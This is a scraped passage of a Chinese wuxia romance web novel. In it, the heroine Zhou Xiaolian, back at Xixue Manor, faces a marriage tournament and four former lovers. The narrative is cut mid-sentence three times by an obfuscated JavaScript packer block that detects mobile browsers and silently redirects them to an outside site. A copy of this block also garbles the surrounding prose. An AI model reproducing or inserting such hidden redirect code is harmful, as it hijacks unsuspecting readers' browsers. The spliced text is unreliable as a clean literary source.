;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362278|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大了……”话锋又生生一转,随剑同冲小怜劈下,“回去认错,再练剑。” “我没错,我死也不认错!”事已至此,小怜不住哭嚎,她拼命抬剑一挡,出剑是洗雪剑式第三招拨雪,洗雪十式中最柔的一剑,小怜只将此招看作死马当活马医。 “好拨雪。”周汀情轻飘飘飞来,随口评了一句,便在她面前站定。 小怜手腕一松,还真当自己挡下此剑,可金器坠地的锵啷声,将她从遐想中冷冰冰抽醒。 周汀情看也不看,还剑归鞘:“但拨雪不该如此用,小怜。洗雪剑式即便是柔,也是柔中带刚,如雪下冻土。你会错意了。” 她用同样的一剑,斩断了小怜的剑。 事已至此,小怜心死认输,她垂首乖巧道:“我回去,但那些事情里有许多与我无关。是有人利用我的——” “回去还另有安排,船已安排好了,走吧。”周汀情没与她在码头详说,两人身后有一叶扁舟,已施施然泊停。 出逃之事非同小可。更遑论小怜走了不止一两日,而是数月间从北到南,又从南到北。 一路上这横空出世的大盗名号,惹出不少祸事,也惹来不少情债。 周珊瑚早在洗雪山庄等汀情将小怜捉回,堂上是她、周汀情、两位婆婆,数人会审小怜一人。 在听过小怜自述这段时日以来的经历之后,众人各有所思。小怜却只看到周珊瑚面上难掩失望神色,她心凉了半截,不甘心的被周汀情拖下去。 此后数月,小怜都被关在自己的院子里罚禁闭清心,不得练剑,也不得出门。 她唯一的剑被周汀情一剑斩断,回到庄子里,也再没有配过新剑。 周小怜不知道自己会因为这件事情被关多久,她日复一日等待着周珊瑚来找她,说什么都好。可直至半月前,周珊瑚才来夜访小怜,与她促膝长谈:“既然你如此不想待在庄子里,贪恋庄外男欢女爱,我便随你的愿。” “下月我为你定亲说媒,你要想走的远,我便送你走得远些。你嫁出去了,便不是洗雪山庄的人,想做什么,都随你的心意。” 周珊瑚一边说,一边抬手按着她鬓侧,一眼也不看小怜。 而小怜……错愕看着面前周珊瑚容颜如昔,分明正值壮年,也不是庄子里再多养不起一个孩子了。 周珊瑚就是偏疼周汀情,从周小怜小就这样。原来是这样,她们两人快意江湖,侠名远扬,生怕周小怜胡闹,毁了她们的好名声。 可天下谁人知周小怜?小怜小怜,谁又怜她? 红烛泪稠,小怜死死忍住心中悲凉。 她就算是想哭,眼中也就只有浅浅的一层水光,烛火映得她双眸盈盈,惹人心软。 周小怜想问周珊瑚:“你就这么不喜欢我么?就这样想把我送给别人么?断骨洗髓我也忍过来了,你凭什么现在才丢开我?” 可她终究只是想想,想想而已。她知道周珊瑚一定会觉得她这样的想法幼稚至极,所以什么都没说出口。 小怜喃喃对周珊瑚吐出一个“好”字,心如死灰地将后半人生交托给自己的亲娘。她想能让人如愿以偿,也算还了养育之恩。 自那之后,她的比武招亲便如火如荼的筹办起来。 本来谁能夺魁娶小怜,还是周珊瑚和小怜能做主选人的。毕竟洗雪山庄关起门来办,只要个名头就能把小怜嫁出去了。 可不知道是谁,居然把“洗雪山庄二小姐要办比武招亲”这一件事,传了出去。 甚至江湖上转了一圈,再传回洗雪山庄的时候,已经变成了: “江湖上赫赫有名的绝代美人洗雪山庄二小姐周小怜要办比武招亲。” “谁若娶了周二小姐,便能享荣华富贵,日后还可以背靠洗雪山庄!” 于是日月江畔,来客如云,一时人满为患。 闹到这样地步,洗雪山庄也不能闭门不见。周小怜的比武招亲,霎时变成了江湖的大事。 4. 情多不累 猎月台是洗雪山庄中最高的一栋楼,以猎月台为界,洗雪山庄分为前后两庄。小怜的比武招亲与这几日的接客待客,都在前庄;而洗雪山庄门人,都是在后庄生活的。 至于猎月台,也并非只作观景与划地之用。 猎月台楼内存储诸多武林典籍,机关无数,皆出自机关名家之手,猎月台中记载有过去武林大事秘史。也有传言说,洗雪山庄藏有天下第一的神秘武学,或皇室秘辛。 但是无论哪家门派,其实都有类似这样放着经书的地方。 像这样的地方,若是不传出些什么“藏着稀世奇珍、不传之秘”的风言风语,那只能说明这家门派的家学过往,甚至门派声望,放在如今的江湖中,不过是个泯然众人的蝼蚁草芥,提不起分毫他人兴趣。 洗雪山庄立足江湖多年,美名远扬。要是没这个谣传在外,那简直白混这一世,落在他人之后……周小怜是这么认为的,反正她最好面子了。 不过,猎月台不只对外人来说如隔雾纱,捉摸不透。庄主之女周小怜,与江湖众人也没什么差别,对猎月台其中藏书过分好奇。 与此楼相关的规矩一向森严,说是:唯有洗雪山庄习武之人,或得到庄主周珊瑚应许之人,方能入内。 周小怜也是直至开始练剑之后,才有登楼的资格。 只不过周小怜只能上至五楼;绝代天骄周汀情,也才七楼而已;洗雪山庄当今庄主周珊瑚,十一楼。 没人知道猎月台究竟是以如何划分层数,而这一栋高楼其中,到底又有多少层楼? 对于现在的周小怜而言,五层也够用了。 她不等春静交代,便从榻上弹起。春静都没看清她动作,眨眼的一瞬,小怜便已蹿到房门前,抬手掀开了房门。 院外本留着的看守已经悉数撤去,许久不见小院昔日清净。 小怜喜出望外,心中激荡简直无以言表,每天被十几个人死盯在屋子里真是太像个死犯了! 她不假思索,脱口而出:“终于都滚蛋了!这段时间真是憋死我了。” “春静啊,你听我说。我想了想,我这四个情债简直亟待解决。我虽然不靠谱,但不能误了人家终生啊!我这就去猎月台给姐姐排忧解难,多谢你啦!” “二小姐!”春静闻言暗叹不妙,可这会儿急匆匆追出去已经来不及。 她意料之中扑了个空,院门大开,小怜不见踪影。一地芳草微颤,少女裙袂香风还未曾消散。 要不说小怜轻功了得?哪怕是今日来到这里有准备如春静,都压根没能跟上她动作……不,连她影子都没看见。 春静有些恍神,她并非身无武功的闲人,从前只不过偶然听大小姐说二小姐轻功不比寻常。可周小怜大多时候吊儿郎当,她一直没放在心上。 如今亲眼见识到了,春静才深切意识到:周家的女人再怎么样看似平平无奇,到底没有一个人是无用的。 庄子里与小怜正面交过手,或见识过她轻功玄妙的人,一只手也数的过来。猫婆婆、毒婆婆、周珊瑚、周汀情……其余的人,大多也只是看到小怜故意为之的学剑模样。 她们猜小怜十二岁才开始学心法,练剑,不只是比庄子上大部分姑娘学的都要晚,更是靠洗骨淬脉这样狠辣的法子才堪堪能摸剑。 这样的天残为始,周小怜就算再怎么卯足了劲刻苦,又能在武学这条路上走多远,多深? 庄子上没什么人拿周二小姐放在眼里,毕竟身在江湖,敬仰强者才是正常的。况且周小怜成日作妖搞怪脾气不好,两个女孩同样是没有父亲的,周小怜全然没有周汀情那样好相处。 若不是小怜占着周家二小姐的身份,她们也不会毕恭毕敬,客客气气的对她。 春风温吞扫过,春静顿在门扉前,忍不住打了个寒颤。 小怜能在外逃这么久,原来不是运气好。她逃出去,或许也不只是突然的叛逆或者胡闹? 平日里看着总是眉眼弯弯,一脸无辜好相处的周小怜,竟是真的深藏不露——万一她哪天要和她那个该死的爹一样,拖着大家一起死,报复洗雪山庄这么多年来对她的不公平……? 春静眼前似乎又能看见小怜亲爹死前那双怨毒浓郁的眼睛。时隔数年,庄子里知道当年那些事情的人大多已经死光了,只剩下几个不会开口的,和她这种心腹程度的人。 她不敢再细想下去了。 庄子里总有周珊瑚和周汀情主持大局的,无论如何,这样的事情都轮不到她去操心。 况且小怜在洗雪山庄也待不久了。 周小怜心里挂记着那四个人,倒也不是真心说什么“不想误了人家终生”。 唉!大家都行走江湖那么多年了,怎么还会把周围人当傻子看呢?说是为了爱恨情仇,但估计还是别有用心。 小怜身上是没什么值得他们图得了,有些人吃过了,有些人看过了。再要图,就是图她背靠的洗雪山庄。 与没什么大用,空有美色的小怜不同,洗雪山庄财力丰厚殷实,家传源远流长。府上虽然没胆子豢养私兵,可换个名头说什么死心塌地的打手,也是有许多的。 真情是累赘啊!小怜足尖轻点,踏波浮奔,只身飞掠垂柳湖。眸光一动,就看见湖边支着一根熟悉的,油光发亮的猫头杖。 今日是猫婆婆最爱的那根乌云踏雪的猫头杖,小怜身子一斜,便轻巧落在坐石头上的猫婆婆身边。 “婆婆,”小怜拱了拱手,收敛几分不着调的样子,恭敬道,“许久不见了。” 猫婆婆头也未斜,她与多年前相比容颜不改,声音不变,让人很是捉摸不透到底年岁几何。小怜垂着头,听她轻声道:“好。” 过往为小怜断骨时,她就深知小怜与自己从此隔阂难消。人到这个年纪,与小辈两颗心从合到离,难免不能释怀。 这几年因尊猫婆婆、毒婆婆两人身为长辈,周小怜向来见到还会主动打一声招呼,但也仅限于此。 正当小怜垂眸应下招呼,要继续往猎月台去时。猫婆婆竟难得主动与她搭话道:“你从前与怀芳最爱来这处,你坐在前面一些,怀芳就坐在这块石头上。” 还以为洗雪山庄内如今唯有自己还记挂着这个名字的小怜,痴痴愣神。 身旁绿柳细绦如树生游鱼,从她眼前袅袅而卷过,小怜恍惚,原来只要提起这个名字,自己还能依稀望见当年怀芳在树下抿着唇、内敛到极致的浅笑。 “怀芳已死,”小怜语带惆怅,“婆婆怎还挂怀?” 猫婆婆抚平膝头衣褶,眉眼舒缓,慢慢问她:“你心中不曾信她死过,也难以宽恕放下她,又何必自欺欺人,介意他人挂怀。” 小怜语气冷硬:“我不信么?我早已信了。只是洗雪山庄害她不治而亡,谁又有脸面明着挂怀怀芳之事?我放不下是问心有愧,可其他人呢?” 猫婆婆摇了摇头:“小怜。即便怀芳已死,你也应该放自己一条活路。我在这里提起她,并非是故意给你找不快,而是你从小……” “……罢了,与你们这儿的哪个人都说不到一处,我走了。”小怜忆起过去之事,旧友濒死之际的呢喃耳语和依依不舍,至今还是她午夜梦回时难以摆脱的梦魇。 周小怜对怀芳问心有愧。 谁也不知道,可能吧。大家其实都忘了怀芳这个人了,从前除了小怜应该没人记得,而今……大概还要填个还记得的猫婆婆。 她重新提气,踩叶狼狈逃离此地。猫婆婆目送小怜凌波踏水离开,身后却无声无息的,浮出另两个身影。 毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362279|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆婆而今也有八十余岁,身子骨却很是健朗。不必拄拐,一屁股便坐在猫婆婆身旁。 她对不尊敬老人的小怜颇为不满:“小丫头,气性恁大!这些个破事给捂着多少年了还折腾来折腾去!” 另一个颀长身影与两位老者不同,他抱着一柄看着就做工精秀的长直刀,口中淡淡道:“她不记得那些事情是好事。” 毒婆婆闻言直翻了个白眼:“什么好事?我看没什么好事!都顺了你们的意了,我俩成日要受她的气……” 距离春静同小怜汇报那四人大战,也过了半个时辰有余。可当小怜奔赴附近时,她仍听到了许多江湖人凑在一处,对如此盛景喋喋不休,深入探讨。 有人嘴里衔着一个草,话都讲不清楚:“呜呜呜!呜呜、呜呜呜呜!呜!” 他说了一串,还是他身边小厮代为转述:“我家少爷说,这个周二小姐就长得这么好看?这么多人都愿意为她折腰?” 有个五大三粗的汉子,掐着嗓子回他:“哼!不过都是些臭男人把戏?且不说他们,来到这里的,有几人是真心的?那周二小姐这么多天,面也不露,我看说不定啊,是个丑丫头呢!” 江湖美人如云,大家见多识广正常,但小怜与丑绝搭不上边!她从腰间掏出个面纱,不知为何心虚的遮上脸,继续偷听他们八卦。 “吓!但是周女侠仙姿玉骨,周庄主雄姿英发,周二小姐……应该丑不到哪里去吧?” “唉,就说你们眼界浅了。周二小姐重要的,不是她那张脸!” “人不为色,天诛地灭啊!要不是为了她这天下第一美人的名号,谁今日愿意凑这热闹!”有人拍案驳斥,小怜诚恳点头,对这样的正道言论,深表支持。 就是就是,古话说得好:食色性也。像阮真棋那种灭人欲的,简直逆天而行。 她可是日行好人好事,阮真棋竟然不领情!还反过来要揍死她!没天理……虽然其中还有些别的原因,但小怜决定先不去想。 毕竟正派如甘霖这样清流少年,都不能免俗呢。 “……不对!” 小怜脑子里转了一圈,这才反应过刚才那位兄弟说了一个六个字组在一起,对于她而言简直相当可怕的名号—— “周小怜是天下第一美人?” 天下第一美人本人对此事闻所未闻,外面的谣言怎么都传到这一步了?而且去年天下第一美人还是她认识的好朋友左仙! 再者,要真说起来,宝光郡兰若门的司马鹄也不错。洗雪山庄非得出一个天下第一美人的话,周汀情其实也可以。 总之周小怜要不是因为这个比武招亲,天下又能有几个人认得她的名号? 她乍闻此事,大惊失声,引来众人侧目。 有人蹙眉,把小怜吓得又在眨眼噤声,“吵什么吵!你第一天知道她是天下第一美人?不过我看也就是个噱头,要说天下第一美人,还得是丹郡湘河舟上的明姑……” “呸,你要是真觉得明姑娘才是天下第一美人,那还过来凑什么热闹?!我认得你,你叫秋蚩,被周庄主批是什么——‘长得五大三粗跟头熊似的’,都没能进第二轮!” 这么一说,小怜忍不住侧目看向那“长得五大三粗跟头熊似的”人。 秋蚩的确身量极为高大,身上青筋虬结,胸肌健硕……衣服都给绷的紧紧的。面色红润,皮肤棕黑,健康,看上去一个人两条胳膊,能挂起四个小怜。 的确能让人联想到——熊,棕熊。 周小怜对这人一身腱子肉望而却步,她虽然喜欢些身材有料的男子,但太有料偶尔也有点有碍观瞻。 于此一道,小怜颇有心得。这样的男人只可远观,偶尔亵玩,若摆在家里,不可,不可。 挑出去正好。 5. 痴儿怨女 小怜如今身负重任,有看热闹……调解江湖少男情伤的正事要做,实在不该全把目光都投在这处的热闹里。 她倒是想挪开脚步,可却又想听听其他人是怎么评价她这个,呃,从来没露过脸的天下第一美人的。 秋蚩嘴上说着“小怜不如明姑娘”,可被人拆穿他根本没被选入比武招亲的单子里,秋蚩的脸“蹭”一下,红了。 小怜看他那张棕黑的脸,明明已经到了不太显颜色的程度,现在还是能见到跟猴屁股似的红。看来是真有点不好意思。 秋蚩像是为了掩盖自己被拆穿的尴尬,所以刻板的大声嚷嚷着:“那是她们洗雪山庄没眼光!老子走南闯北那么多年,又不缺这么一个长得漂亮的姑娘!” 这话说的直白,秋蚩语带不屑。说者或许无意,但身为听者的周小怜,面色更是不善。 她在山庄外的那大半年里到处漂泊,知道这样的夯货江湖上遍地都是。 这种人压根没见过几个女人,也说不来什么好听的话,自以为男子气概就是装有很多女人爱他。但其实女人听他开口说三句话,就觉得自己真是在浪费好时光,一点点兴趣烟消云散,真心求苍天让自己和他此生不复相见。 她听着想着,眼睑慢慢垂下,方才那点心里头那点凑热闹置身事外的想法,彻底消失不见。 取而代之的,是她骨子里几乎恶劣的倔性。 她周小怜真不缺男人,真的。 天下这么多男人,让女人挑挑选选怎么了。皇帝大张旗鼓娶三宫六院,三千瓢水,她如今老实本分的只挑一个。 就这样,还要被没选上的人看不起呢,凭什么?洗雪山庄也不差啊,她周小怜也不差呀! 没被周珊瑚和周汀情选上的男人就该反思自省,勤勉己身,而不是怨天尤人。在洗雪山庄里恨天恨地,怪世道不公,嫌娘子色淡无味。 自卑有时也是一种男人普遍欠缺的美德。 小怜丧失了听下去的兴致,她这才嗅到身边的男人们身上都传来一股闷着的汗臭味,像一坛子正在发酵的腌菜。 她好久没有与外人接触,想必是因为方才兴奋过头,所以才没什么感受。 方才还有说有笑的热闹景象,在她眼里,不过一眨眼,就变成了一群长舌男人们喋喋不休,抱团扎堆的泥沼。 虽说婚事是周小怜如今改不了了的,可若是现在轻易走了,她只觉得轻饶了这些身后议论点评她的臭男人。 明明面都还没见过,人还没选上,先替人家被选上的操起心了——她周小怜长得好不好看和这群癞蛤蟆到底有几个关系?又不要他们娶! 实在咽不下这口气,小怜手指一绕,发丝和心肠一样千回百转,眼珠子滚一圈,她又从腰封里掏掏,摸出一个小瓷瓶。 拧开上头的起子,周小怜随手一抛,瓷瓶里的药粉顷刻之间,漫天洒开。 小怜扔出手的能是什么好东西?她深知药性威猛,忙埋头闪开,抽身前不忘点起引子:“哎呀,天上掉了个什么东西?” 那一堆人原本还在吵吵闹闹,听这半道夹了个姑娘的声音,轻飘飘一句话,又忍不住跟着她说的话抬起头去看——空中翩翩飞的细密药粉没在日光中,几乎匿形。 原本或许一抬头,一眨眼,风一吹的功夫,药粉也飞不进去多少。可偏偏看着好像什么都没有,他们就想着仔细看看,再仔细看看——到底是什么? 于是痒痒粉不偏不倚,正好落进他们眼里,不少人“哎呦”一声,下意识捂住眼睛躲避。 “什么东西?!” “哎呦,痒!痒死了!” “谁来救我!我的眼睛、我的脸!” 一群汉子对这一出始料未及,中了招的不在少数。他们猛地弯腰,在原地拱来拱去,这一块地方竟在眨眼中成了个猪圈似的地盘。他们撞倒了不少人不说,原本在那片的人,也不约而同的开始胡乱挠起脸、眼睛和脖子,抓的自己满脸红痕。 那些大男人甩头晃脑,凄声惨叫的样子此起彼伏。因为原本话说的好好的,现在突然嚎啕起来,在路过的人眼中看起来,就像是中了邪一样。 一旁看够了四个有名有姓,有头有脸的大人物纷争的其他游宾们,眼见这里也有了热闹,不由纷纷侧目。 小怜早已脱身,混迹在人群中,犹如逆流而上,掐着嗓子轻声道:“烦请诸位让一下,哎呀,我这就去请人来看看怎么回事。让一让,让一让。” 她脚步腾挪,丝毫不受人潮的阻碍,像一袭清风徐徐卷过。 众人不察,唯有少女身上的清幽香气从鼻尖一扫,恍惚扭头去探,谁也未能捉着寸缕背影。 小怜逃至猎月台下,步法如白鹭飞水。 她在猎月台十步之外匆匆杀住脚步,不敢惊扰面前头戴蓑帽,鹤发鸡皮的老者半分。 猎月台一向由山庄里上了年纪的老人看守。他们大多一生无儿无女,无牵无挂。 猎月台对女子管制不严,对男子则要求断绝人欲,才能清净自持,铁面无私。 小怜所奉行自在快活的教条与他们几乎是背道而驰,况且自少年登楼之初,每每与老者们过招时,都或多或少会断一两根骨头。 虽说今时不同往日,可小怜见到他们依然心里打怵。她恭恭敬敬走上前,一拱手:“前辈,今日观丙申字室。” 猎月台不知层高为几,但以天干地支为序。丙便是第三层,每层不同藏书所在字室,以地支排列。丙申室面朝南,向阳,视野辽阔,可将前庄风光一览无遗。是最方便小怜观察那四人争吵的地方。 老者对多日未见过的周小怜并无探究之意。只是懒洋洋掀起眼帘,眼珠子上下转,打量一番便转过身开锁,将少女放了进去。 周小怜忙不迭钻入猎月台,楼内与她上次来时并无区别。 猎月台内摆放书籍众多,因此每日都有专人清扫整理,洁净如新,无灰无尘。小怜上行,向丙楼申字室走去。 她临窗斜坐,不慌不忙给自己斟茶倒水。窗下俨然四人对峙,闲杂人等都被另一处热闹吸走注意。小怜小心翼翼探看,生怕被四个冤家发现。 也不知道他们吵到哪里了?周小怜一手托住自己下巴,丙层离地不远,刚巧能将楼下纷纷扰扰收入耳中。 “有些人嘴上说心无凡俗,却还揣着姑娘的香包,要来争个名分,”语带揶揄,事不关己高高挂起,这是乌兆星在说话,“不知道的还以为多情深意切呢……” 周小怜曾在与乌兆星一起逃难,篝火旁共话过往时,无意间提过几嘴阮真棋的事情。但当时小怜不过是说自己为了逍遥快活,毁过一个神仙清静,乌兆星问她何为神仙? “就是每天穿个白白绿绿的衣服,自持清渺出尘,戒贪嗔痴爱恨。不食荤腥、不造罪孽、不染凡俗——结果亲个嘴就急眼了。” 一身灰扑扑的乌兆星说:“那你喜欢吗?” 小怜脑子没转过来,看着他“嗯?”了一声。乌兆星抿唇,周小怜视线不知怎么就飘到他耳朵上,定目,看见一片绯色。 他嘟嘟囔囔:“你喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362280|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢那种人,才和他亲的。” 乌兆星生得白,皮相好,又是少年。周小怜在这之前只把他当做弟弟看待,或者是一只她随手捡到,遍体鳞伤的可怜流浪猫。 被那双眼睛水汪汪盯着,谁能不鬼迷心窍的说一句:“我也喜欢你啊?” 唇上触动几分怀念,小怜看着窗下乌兆星的侧脸,不由感慨真是长大了。若说他从前是一种尚未成熟,还有几分青涩的艳意,过去将近半年的乌兆星,已然长成一株茂盛的毒花。 他明晃晃的将“危险”两个字写在脸上,一言一行,一举一动,都锋芒毕现,毫不遮掩。眉飞入鬓,唇红齿白。而今江湖名副其实的第一大魔头乌兆星,正直直望着他对面截然不同的阮真棋,面带讥讽,语气不善。 也是,毕竟当年逃跑也没给他留个香包什么的做信物。 彼时小怜意外得知这些时日生死相托,一同逃难之人,竟然就是江湖中数一数二的魔头乌兆星。 她不敢细想若是日后被人……尤其是周珊瑚和周汀情发发现,自己竟然与他有所勾结,会被打成什么样子。 她无心为乌兆星辩证什么此人身世可怜,血雨腥风所作所为不过为了苟全,世道相逼,若不杀人又要如何立身?周小怜与乌兆星始终不是一路人,她胆小。 洗雪山庄二小姐,在江湖胡作非为也有个限度,出门是只采花不杀人,遇上事就逃,逃得远远的。 这下惹上乌兆星这样人物,小怜第一反应就是求自己能脱身事外,因此一不做二不休,她借了来追杀乌兆星的人的力,佯装自己被活生生烧成焦炭,给乌兆星只怕留下的唯有永生永世难以磨灭的阴影。 “我做什么事,戴什么东西,与你何干?”阮真棋面露不耐之色。小怜与他没见过的时间更久,此人依旧冷峻绝尘。 丹凤眼斜睨乌兆星,黝黑眸中空无一物……压根没把小他好几岁的乌兆星放在眼里,一如既往的傲慢。 只不过没穿他那一身白衣服,倒是改成一身玄衣宽袍,肃杀沉稳,不怒自威。 阮真棋会出现在这里,小怜始料未及。毕竟此人皇子出身,虽然带发修行,但到底还是与宫里关系匪浅。江湖庙堂相差甚远,阮真棋不顾着小怜名节,也在意自己的名节,怎么就会来呢? 不过他要是没来,小怜今日也没有逃出来的机会。扪心自问,她对阮真棋虽然起心动念,可因为顾虑皇子位高权重,小怜除了偷他一吻,其他什么手脚也没动过。 那日大相国寺,打也打了,阮真棋如今还念念不忘,找上门来……真是小气。 “情真意切算不上。总比在场的有些人,手里什么都没有……就想要讨个名分来了,”阮真棋勾唇讥笑,“洗雪山庄也算名声赫赫,莫非会让周二小姐,收留一条丧家之犬吗?” 周小怜轻哼一声,她不喜欢小气计较的男人。眼珠乌溜溜的转,竟与角落里站着的甘霖对上眼。 正道白月光对她咧唇一笑,也不作声。 甘霖人如其名,气质无害清正,却并非阮真棋身上那种冷意。万物细无声,霏霏雨露更像他。这么一照面,周小怜就知道他是认出自己来了,毕竟真的扒过他衣服。 他倒是不恼,现在过来只怕不是要寻仇,是要对小怜负责的。 两人眼神匆匆一碰,小怜还想偷偷伸手招呼他说些什么,未能付诸行动,就被最后那人逮了个正着。 挑起如今一切事端的罪魁祸首,褚家大公子褚见珏的声音,生硬传来:“甘大侠,你这是抬头在看些什么呢?” 6. 城门失火 褚见珏说不上难对付,可也不是个省油的灯。他会找过来倒也正常,毕竟心向江湖多年。只不过比武招亲,他既打不过阮真棋也打不过甘霖,就更不要提乌兆星了。 小怜与他相遇,全因褚见珏考场失意。 俗话说祸兮福兮,褚家大公子在醉仙楼一掷千金,借酒消愁,小怜那日本是要去醉仙楼中打探消息,却不想凑上这样热闹。 采花贼初出茅庐,是夜潜入褚见珏房中。小怜见他分明已是醉倒姿态,那张醺醺然昏熟的脸,却还是一副神态郁郁,水光淋漓的模样。 周小怜春心萌动,心脏狂跳不止,她从没受过这样的刺激,这简直是女人的大补! 她当时忍不住诱哄褚见珏几句,什么“好郎君”、“好公子”的甜蜜话都说了。周小怜还给自己捏了个身份,骗他说自己是什么画中仙子,来赏他一夜春宵…… 褚见珏醉了,对小怜所说所做无一不乖乖应下。小怜越看他眉眼越喜欢,她觉得褚见珏有几分眼熟可爱,周小怜对这张脸很难说不喜欢。于是她爽快地一亲芳泽,第二日天不亮便逃之夭夭。 这是做坏事呢。哪能给他相认相见,执手白头的机会? 小怜还是第一次做这样的女贼,采花大盗,稀里糊涂就留下一地狼藉——还有褚家大公子被女蟊贼夺了身子的艳闻。 若此事到此为止便也罢了,世间对男子失贞到底没有女子失贞来的事态严重,大多人也只当褚见珏酒中艳遇俏女贼,将褚大公子当个茶余饭后的闲谈笑话讲了。 只不过褚家家风向来于私德一事上看管颇严,褚见珏身为大公子,就算对外不认自己失了身,在酒家借酒消愁也是板上钉钉的事情。 他被家里罚了一段时日的禁闭,等再出来的时候,京中流传的又是另一段小怜的艳事了。 大相国寺的三皇子,光天化日众目睽睽下被毁了清白,女飞贼惹得阮真棋和她缠战一夜……沸沸扬扬间,偶有人问: “这女飞贼是不是就是月余前强了褚大公子的那个女贼啊……” “嚇?原来竟是同一人吗?这丫头——” 真是个会挑人的啊? 但身在其中的周小怜,其实不知道褚见珏到底在那之后是怎么想自己的。 比起阮真棋的恨;乌兆星的怨;甘霖的纯,褚见珏是她相处时间最短,最不知底细的人。 世人都说褚见珏对那夜女贼情根深种,毕竟褚家名门望族,大公子门槛早已被踏破,可褚见珏迟迟未定下婚事——难道不是心里已有了人? 周小怜不是没想过这件事,可她认为褚见珏该讨厌自己的,想打上门来和阮真棋一起取她狗命也理所应当。若要小怜给他一个表态,小怜绝对二话不说,会对他诚恳致歉。 毕竟那一夜真是她鬼迷心窍了。事后她虽然并不后悔当时的所作所为,但毕竟也是第一次犯事不熟练,平白给他惹了很多麻烦。 小怜走神之际,甘霖正在答褚见珏刚才那句问题:“看见了朋友,便与她打了个招呼。” “朋友?”褚见珏挑眉轻笑,他手中一把折扇拢合,压在唇峰上,“哦……原来只是朋友啊。” 甘霖面色如常,对褚见珏的欲语还休三两拨千斤,轻飘飘弹了回去,眼神很是清澈:“如今是朋友,日后是妻子。” 甘霖说的这句话放在平时,最多是个玩笑话。可放在现在,简直无异于雪上加霜,火上添油。 饶是平日看话本里那些男欢女爱缠绵不休,游历时见惯了你打我我打你的大场面的小怜,也是浑身一震,差点在猎月台上尖叫出声。 这是能说的吗?小怜混乱,但又有点开心,倒不是因为甘霖说什么妻子,小怜是觉得这热闹越来越大了,好看。 甘霖不出意料,是因为责任二字才来。 他身为武林正道天之骄子,心善人美武功高,是名副其实的白月光之一。心眼方面略有欠缺,一身正气凛然,偏偏和小怜这样的离经叛道之人扯上关系。 现在甘霖这句话,肯定也不是有意挑衅另外三人。可如此直白的说法,实在让人消受不起。 此言一出,在场其余三人直直看向他。甘霖不卑不亢,抱剑拱手:“来日台上相会,还请诸位不必手下留情。我对周二小姐真心日月可鉴,今日先行一步,借过,多谢。” 四人之中,唯有甘霖是小怜当时亲口告知过自己的真实身份,是洗雪山庄的周二。 其余三人,虽然都见过小怜的庐山真面目,可今日能找上这里,应该也都动用了些自己的手腕。周二落跑之事虽然彼时被洗雪山庄锁死消息,可总有些风声沸扬,落入旁人耳中。 以及那些风流情史,都被打包一块卖了,也正常。 江湖就是这么一个藏不住事的地方。 由此看来,周小怜对甘霖的偏爱,的确是独一份。 还好剩下三人不知道此事,不然只怕是要闹个天翻地覆。 毕竟大家都是有头有脸的人物。周小怜就算是一视同仁的把他们都甩了,他们也会因为自己的好胜心,斗上一斗,偏要争个一二三出来。 戏没看多少,甘霖已经抬腿要走。小怜连个尾巴都没赶上,颇觉无趣。 她正琢磨着要不要回自己院子的时候,倏地又听见楼下阮真棋玉口开合,他气定神闲道:“躲躲藏藏,洗雪山庄的周二小姐,就这般爱做偷油鼠?” 他用了几分真气,周小怜听的真切。阮真棋常年在大相国寺侍佛,身居深深幽处,听力超群,更胜常人。 小怜方才和甘霖那点动静,他其实是第一个察觉到的,早已听见。 不过毕竟是在洗雪山庄,周小怜既然来了猎月台凑热闹,就早已想过自己是躲不开这四个人的。 即使对他们各自问心有愧,但那又如何?欠一个姑且还会良心作祟,那欠四个已经是全凭本事了。 问心有愧?还不是愧疚在被周汀情逮回了洗雪山庄,还被发现这些盘根错节的关系。几个人放在平时就是见了面只怕也不会把对方当回事,有哪里会想到面前的人与周小怜有关呢? 周小怜自问自己又没做什么特别坏的事情,只是不那么喜欢一个人,普普通通的心分成四份给了四个人。 难道还要和她成婚之后,再把她扒皮抽筋吗?没必要吧。 四人的目光都顺着阮真棋的话,探向猎月台。周小怜也无意让阮真棋更加难堪,毕竟他已经很恨她了! 小怜缓缓直起身子,看着楼下四人,她轻咳一声。 “诸位,许久未见了。” 其余人尚未反应过来,周小怜居然如此坦然出现。乌兆星却是最快答道:“姐姐,我这就来找你,你别动!” 他其实并非是那个最久没见到小怜的人,可表现得仍然最为急切。 小怜岿然不动,眼睁睁看着他被甘霖抬手拦下。甘霖将剑身放横,挡在他腰腹前。 “别动。”甘霖寒声,与乌兆星四目相对,电光石火之间,剑已出鞘。 乌兆星空手去挡,全然不在乎甘霖剑光锋芒。小怜厉声训斥道:“洗雪山庄不能肆意动武!二位请收手!” 